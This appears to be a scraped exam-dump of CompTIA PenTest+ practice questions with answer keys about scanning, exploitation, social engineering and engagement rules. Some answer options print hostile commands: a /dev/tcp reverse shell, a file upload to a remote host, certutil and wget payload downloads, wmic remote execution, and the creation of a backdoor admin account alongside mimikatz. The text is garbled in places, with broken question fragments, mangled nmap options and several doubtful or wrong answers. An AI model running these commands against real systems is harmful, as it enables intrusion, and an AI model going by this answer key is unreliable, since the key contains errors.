



# CompTIA

## Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

#### NEW QUESTION 1

A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this task?

- A. GDB
- B. Burp Suite
- C. SearchSploit
- D. Netcat

**Answer:** A

#### NEW QUESTION 2

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

- A. An unknown-environment assessment
- B. A known-environment assessment
- C. A red-team assessment
- D. A compliance-based assessment

**Answer:** B

#### Explanation:

A known environment test is often more complete, because testers can get to every system, service, or other target that is in scope and will have credentials and other materials that will allow them to be tested.

#### NEW QUESTION 3

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset($_POST['item'])) {  
    echo shell_exec("/http/www/cgi-bin/queryitem ".$_POST['item']);  
}
```

Which of the following tools will help the tester prepare an attack for this scenario?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

**Answer:** B

#### NEW QUESTION 4

A penetration tester ran a simple Python-based scanner. The following is a snippet of the code:

```
...  
<LINE NUM.>  
<01> portlist: list[int] = [*range(1, 1025)]  
<02> try:  
<03>     port: object  
<04>     resultList: list[Any] = []  
<05>     for port in portList:  
<06>         sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)  
<07>         sock.settimeout(20)  
<08>         result = sock.connect_ex((remoteSvr, port))  
<09>         if result == 0:  
<10>             resultList.append(port)  
<11>         sock.close()  
...
```

Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS?

- A. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
- B. \*range(1, 1025) on line 1 populated the portList list in numerical order.
- C. Line 6 uses socket.SOCK\_STREAM instead of socket.SOCK\_DGRAM
- D. The remoteSvr variable has neither been type-hinted nor initialized.

**Answer:** B

#### Explanation:

Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) <https://nmap.org/book/man-port-specification.html>

#### NEW QUESTION 5

Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

- A. NDA
- B. MSA

- C. SOW
- D. MOU

**Answer:** C

#### NEW QUESTION 6

A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

- A. Alternate data streams
- B. PowerShell modules
- C. MP4 steganography
- D. PsExec

**Answer:** B

#### Explanation:

"Windows Management Instrumentation (WMI) is a subsystem of PowerShell that gives admins access to powerful system monitoring tools."

#### NEW QUESTION 7

A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website's response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?

- A. Situational awareness
- B. Rescheduling
- C. DDoS defense
- D. Deconfliction

**Answer:** D

#### Explanation:

<https://redteam.guide/docs/definitions/>

#### NEW QUESTION 8

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

- A. HTTPS communication
- B. Public and private keys
- C. Password encryption
- D. Sessions and cookies

**Answer:** D

#### NEW QUESTION 9

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

- A. Attempting to tailgate an employee going into the client's workplace
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Performing spear phishing against employees by posing as senior management

**Answer:** D

#### NEW QUESTION 10

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

- A. Reach out to the primary point of contact
- B. Try to take down the attackers
- C. Call law enforcement officials immediately
- D. Collect the proper evidence and add to the final report

**Answer:** A

#### NEW QUESTION 10

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:

```
rm -f /var/www/html/G679h32gYu.php
```

Which of the following BEST explains why the penetration tester wants this command executed?

- A. To trick the systems administrator into installing a rootkit
- B. To close down a reverse shell
- C. To remove a web shell after the penetration test
- D. To delete credentials the tester created



Answer: C

#### NEW QUESTION 15

A penetration tester is contracted to attack an oil rig network to look for vulnerabilities. While conducting the assessment, the support organization of the rig reported issues connecting to corporate applications and upstream services for data acquisitions. Which of the following is the MOST likely culprit?

- A. Patch installations
- B. Successful exploits
- C. Application failures
- D. Bandwidth limitations

Answer: B

#### NEW QUESTION 16

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

#### Penetration Testing

Part 1

Part 2

##### Drag and Drop Options

- sL
- O
- 192.168.2.2
- sU
- sV
- p 1-1023
- 192.168.2.1-100
- Pn
- nc
- top-ports=1000
- hiping
- top-ports=100
- nmap

##### NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE VERSION
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

##### Command



#### Penetration Testing

Part 1

Part 2

##### Question Options

Using the output, identify potential attack vectors that should be further investigated.

- ☐ Weak SMB file permissions
- ☐ FTP anonymous login
- ☐ Webdav file upload
- ☐ Weak Apache Tomcat Credentials
- ☐ Null session enumeration
- ☐ Fragmentation attack
- ☐ SNMP enumeration
- ☐ ARP spoofing

##### NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE VERSION
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

- A. Mastered
- B. Not Mastered

**Answer:** A

**Explanation:**

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns Part 2 - Weak SMB file permissions

<https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lv1sec13/fingerprinting>

**NEW QUESTION 18**

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

- A. Implement a recurring cybersecurity awareness education program for all users.
- B. Implement multifactor authentication on all corporate applications.
- C. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
- D. Implement an email security gateway to block spam and malware from email communications.

**Answer:** A

**NEW QUESTION 23**

A penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?

- A. Terminate the contract.
- B. Update the ROE with new signature
- C. Most Voted
- D. Scan the 8-bit block to map additional missed hosts.
- E. Continue the assessment.

**Answer:** B

**NEW QUESTION 24**

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

- A. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
- B. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
- C. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- D. wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe

**Answer:** A

**Explanation:**

<https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while>

--- <https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk>

**NEW QUESTION 29**

A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?

- A. OpenVAS
- B. Nikto
- C. SQLmap
- D. Nessus

**Answer:** C

**NEW QUESTION 30**

A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

- A. The penetration tester conducts a retest.
- B. The penetration tester deletes all scripts from the client machines.
- C. The client applies patches to the systems.
- D. The client clears system logs generated during the test.

**Answer:** C

**NEW QUESTION 34**

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:

U3VQZXIkM2NyZXQhCg==

Which of the following commands should the tester use NEXT to decode the contents of the file?

- A. echo U3VQZXIkM2NyZXQhCg== | base64 €"d
- B. tar zxvf password.txt
- C. hydra €"l svsaacct €"p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24
- D. john --wordlist /usr/share/seclists/rockyou.txt password.txt

**Answer:** A

#### NEW QUESTION 36

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

**Answer:** C

#### Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.

Ref: <https://www.okta.com/identity-101/fraggle-attack/>

#### NEW QUESTION 40

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. protocols are more difficult to understand.
- D. devices may cause physical world effects.

**Answer:** D

#### Explanation:

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

#### NEW QUESTION 42

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. nmap -iL results 192.168.0.10-100
- B. nmap 192.168.0.10-100 -O > results
- C. nmap -A 192.168.0.10-100 -oX results
- D. nmap 192.168.0.10-100 | grep "results"

**Answer:** C

#### NEW QUESTION 44

A penetration tester ran the following commands on a Windows server:

```
schtasks
echo net user svsaaccount password /add >> batchjopb3.bat
echo net localgroup Administrators svsaaccount /add >> batchjopb3.bat
net user svsaaccount
runas /user:svsaaccount mimikatz
```

Which of the following should the tester do AFTER delivering the final report?

- A. Delete the scheduled batch job.
- B. Close the reverse shell connection.
- C. Downgrade the svsaaccount permissions.
- D. Remove the tester-created credentials.

**Answer:** D

#### NEW QUESTION 45

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

- A. Wait for the next login and perform a downgrade attack on the server.
- B. Capture traffic using Wireshark.
- C. Perform a brute-force attack over the server.
- D. Use an FTP exploit against the server.

**Answer:** B



#### NEW QUESTION 49

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

- A. Clarify the statement of work.
- B. Obtain an asset inventory from the client.
- C. Interview all stakeholders.
- D. Identify all third parties involved.

**Answer:** A

#### NEW QUESTION 53

A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?

- A. inurl:
- B. link:
- C. site:
- D. intitle:

**Answer:** C

#### NEW QUESTION 57

An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

- A. nmap 192.168.0.1/24
- B. nmap 192.168.0.1/24
- C. nmap oG 192.168.0.1/24
- D. nmap 192.168.0.1/24

**Answer:** A

#### NEW QUESTION 60

A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

- A. Network segmentation
- B. Key rotation
- C. Encrypted passwords
- D. Patch management

**Answer:** D

#### Explanation:

Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

#### NEW QUESTION 63

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

- A. VRFY and EXPN
- B. VRFY and TURN
- C. EXPN and TURN
- D. RCPT TO and VRFY

**Answer:** A

#### NEW QUESTION 67

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

- A. Unsupported operating systems
- B. Susceptibility to DDoS attacks
- C. Inability to network
- D. The existence of default passwords

**Answer:** A

#### NEW QUESTION 70

A penetration tester created the following script to use in an engagement:

```
#!/usr/bin/python

import socket

ports = [21,22,23,25,80,139,443,445,3306,3389]

if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()

try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        result = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))

except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

However, the tester is receiving the following error when trying to run the script:

```
$ python script.py 192.168.0.1
Traceback (most recent call last):
  File "script.py", line 7, in <module>
    if len(sys.argv) == 2:
NameError: name 'sys' is not defined
```

Which of the following is the reason for the error?

- A. The sys variable was not defined.
- B. The argv variable was not defined.
- C. The sys module was not imported.
- D. The argv module was not imported.

**Answer: A**

#### NEW QUESTION 74

A penetration tester analyzed a web-application log file and discovered an input that was sent to the company's web application. The input contains a string that says "WAITFOR." Which of the following attacks is being attempted?

- A. SQL injection
- B. HTML injection
- C. Remote command injection
- D. DLL injection

**Answer: A**

#### Explanation:

WAITFOR can be used in a type of SQL injection attack known as time delay SQL injection or blind SQL injection<sup>34</sup>. This attack works on the basis that true or false queries can be answered by the amount of time a request takes to complete. For example, an attacker can inject a WAITFOR command with a delay argument into an input field of a web application that uses SQL Server as its database. If the query returns true, then the web application will pause for the specified period of time before responding; if the query returns false, then the web application will respond immediately. By observing the response time, the attacker can infer information about the database structure and data<sup>1</sup>.

Based on this information, one possible answer to your question is A. SQL injection, because it is an attack that exploits a vulnerability in a web application that allows an attacker to execute arbitrary SQL commands on the database server.

#### NEW QUESTION 76

A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

- A. Aircrack-ng
- B. Wireshark
- C. Wifite
- D. Kismet

**Answer: A**



#### NEW QUESTION 78

A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

- A. Wireshark
- B. Gattacker
- C. tcpdump
- D. Netcat

**Answer: B**

#### Explanation:

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

#### NEW QUESTION 79

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

- A. Executive summary
- B. Remediation
- C. Methodology
- D. Metrics and measures

**Answer: B**

#### NEW QUESTION 82

A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

- A. Open-source research
- B. A ping sweep
- C. Traffic sniffing
- D. Port knocking
- E. A vulnerability scan
- F. An Nmap scan

**Answer: AC**

#### NEW QUESTION 85

A penetration tester ran the following command on a staging server: `python -m SimpleHTTPServer 9891`

Which of the following commands could be used to download a file named exploit to a target machine for execution?

- A. `nc 10.10.51.50 9891 < exploit`
- B. `powershell -exec bypass -f \\10.10.51.50\9891`
- C. `bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit`
- D. `wget 10.10.51.50:9891/exploit`

**Answer: D**

#### NEW QUESTION 87

A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted store of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

- A. TCP port 443 is not open on the firewall
- B. The API server is using SSL instead of TLS
- C. The tester is using an outdated version of the application
- D. The application has the API certificate pinned.

**Answer: D**

#### NEW QUESTION 88

A consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host. Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?

- A. tcpdump
- B. Snort
- C. Nmap
- D. Netstat
- E. Fuzzer

**Answer: C**

#### NEW QUESTION 92

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.

**Answer:** A

#### NEW QUESTION 97

A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

- A. Send an SMS with a spoofed service number including a link to download a malicious application.
- B. Exploit a vulnerability in the MDM and create a new account and device profile.
- C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
- D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

**Answer:** A

#### Explanation:

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

#### NEW QUESTION 99

A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, ..., 65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org) Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

- A. Telnet
- B. HTTP
- C. SMTP
- D. DNS
- E. NTP
- F. SNMP

**Answer:** BD

#### NEW QUESTION 103

During the reconnaissance phase, a penetration tester obtains the following output:

```
Reply from 192.168.1.23: bytes=32 time<54ms TTL=128
Reply from 192.168.1.23: bytes=32 time<53ms TTL=128
Reply from 192.168.1.23: bytes=32 time<60ms TTL=128
Reply from 192.168.1.23: bytes=32 time<51ms TTL=128
```

Which of the following operating systems is MOST likely installed on the host?

- A. Linux
- B. NetBSD
- C. Windows
- D. macOS

Answer: C

#### NEW QUESTION 108

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\C$\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

Answer: CD

#### Explanation:

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

#### NEW QUESTION 112

The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankwebsevice.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

- A. A birthday attack on 64-bit ciphers (Sweet32)
- B. An attack that breaks RC4 encryption
- C. An attack on a session ticket extension (Ticketbleed)
- D. A Heartbleed attack

Answer: B

#### NEW QUESTION 114

A penetration tester conducted an assessment on a web server. The logs from this session show the following:

`http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -`

Which of the following attacks is being attempted?

- A. Clickjacking
- B. Session hijacking
- C. Parameter pollution
- D. Cookie hijacking
- E. Cross-site scripting

Answer: C

#### NEW QUESTION 118

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.

Which of the following describes the scope of the assessment?

- A. Partially known environment testing
- B. Known environment testing
- C. Unknown environment testing
- D. Physical environment testing

**Answer: C**

#### NEW QUESTION 123

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company's employees.

Which of the following tools can help the tester achieve this goal?

- A. Metasploit
- B. Hydra
- C. SET
- D. WPScan

**Answer: A**

#### NEW QUESTION 128

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.
- C. The scanner crashed the system.
- D. The web page was not found.

**Answer: B**

#### NEW QUESTION 131

A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades-old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?

- A. The timing of the scan
- B. The bandwidth limitations
- C. The inventory of assets and versions
- D. The type of scan

**Answer: C**

#### NEW QUESTION 136

PCI DSS requires which of the following as part of the penetration-testing process?

- A. The penetration tester must have cybersecurity certifications.
- B. The network must be segmented.
- C. Only externally facing systems should be tested.
- D. The assessment must be performed during non-working hours.

**Answer: B**

#### NEW QUESTION 141

A penetration tester ran a ping -A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?

- A. Windows
- B. Apple
- C. Linux
- D. Android

**Answer: A**

#### NEW QUESTION 142

A penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?

- A. Gain access to the target host and implant malware specially crafted for this purpose.
- B. Exploit the local DNS server and add/update the zone records with a spoofed A record.
- C. Use the Scapy utility to overwrite name resolution fields in the DNS query response.
- D. Proxy HTTP connections from the target host to that of the spoofed host.



**Answer:** D

#### NEW QUESTION 146

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

- A. Phishing
- B. Tailgating
- C. Baiting
- D. Shoulder surfing

**Answer:** C

#### NEW QUESTION 149

A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?

- A. nmap sn 192.168.0.1/16
- B. nmap sn 192.168.0.1-254
- C. nmap sn 192.168.0.1 192.168.0.1.254
- D. nmap sN 192.168.0.0/24

**Answer:** B

#### NEW QUESTION 152

Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

- A. Peach
- B. WinDbg
- C. GDB
- D. OllyDbg

**Answer:** C

#### Explanation:

OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linuxspecific debugging tool.

#### NEW QUESTION 155

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:

- Have a full TCP connection
- Send a "hello" payload
- Wait for a response
- Send a string of characters longer than 16 bytes

Which of the following approaches would BEST support the objective?

- A. Run nmap -Pn -sV --script vuln <IP address>.
- B. Employ an OpenVAS simple scan against the TCP port of the host.
- C. Create a script in the Lua language and use it with NSE.
- D. Perform a credentialed scan with Nessus.

**Answer:** C

#### Explanation:

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language ) to automate a wide variety of networking tasks. <https://nmap.org>

#### NEW QUESTION 157

A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

- A. Send deauthentication frames to the stations.
- B. Perform jamming on all 2.4GHz and 5GHz channels.
- C. Set the malicious AP to broadcast within dynamic frequency selection channels.
- D. Modify the malicious AP configuration to not use a pre-shared key.

**Answer:** A

#### Explanation:

<https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-with-wifislax>

#### NEW QUESTION 161

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

- A. Check the scoping document to determine if exfiltration is within scope.
- B. Stop the penetration test.
- C. Escalate the issue.
- D. Include the discovery and interaction in the daily report.

**Answer:** B

**Explanation:**

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

**NEW QUESTION 164**

168.2.2

3: #!/usr/bin/python export \$PORTS = 21,22 for \$PORT in \$PORTS: try:

- A. Mastered
- B. Not Mastered

**Answer:** A

**NEW QUESTION 168**

A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

- A. The injection was too slow.
- B. The DNS information was incorrect.
- C. The DNS cache was not refreshed.
- D. The client did not receive a trusted response.

**Answer:** C

**NEW QUESTION 169**

A security analyst needs to perform a scan for SMB port 445 over a/16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?

- A. Nmap -s 445 -Pn -T5 172.21.0.0/16
- B. Nmap -p 445 -n -T4 -open 172.21.0.0/16
- C. Nmap -sV --script=smb\* 172.21.0.0/16
- D. Nmap -p 445 -max -sT 172. 21.0.0/16

**Answer:** C

**Explanation:**

The best option when stealth is not a concern and the task is time sensitive is to use the command: Nmap -sV --script=smb\* 172.21.0.0/16. This command will use version detection and SMB scripts to scan for port 445 on the given IP range. The -sV option will cause Nmap to detect the version of services running on the ports, which is helpful for identifying vulnerabilities, and the --script=smb\* option will cause Nmap to run all of the SMB related scripts. The -T4 option can be used to speed up the scan, as it increases the timing probes.

**NEW QUESTION 174**

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

**Answer:** A

**Explanation:**

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

**NEW QUESTION 176**

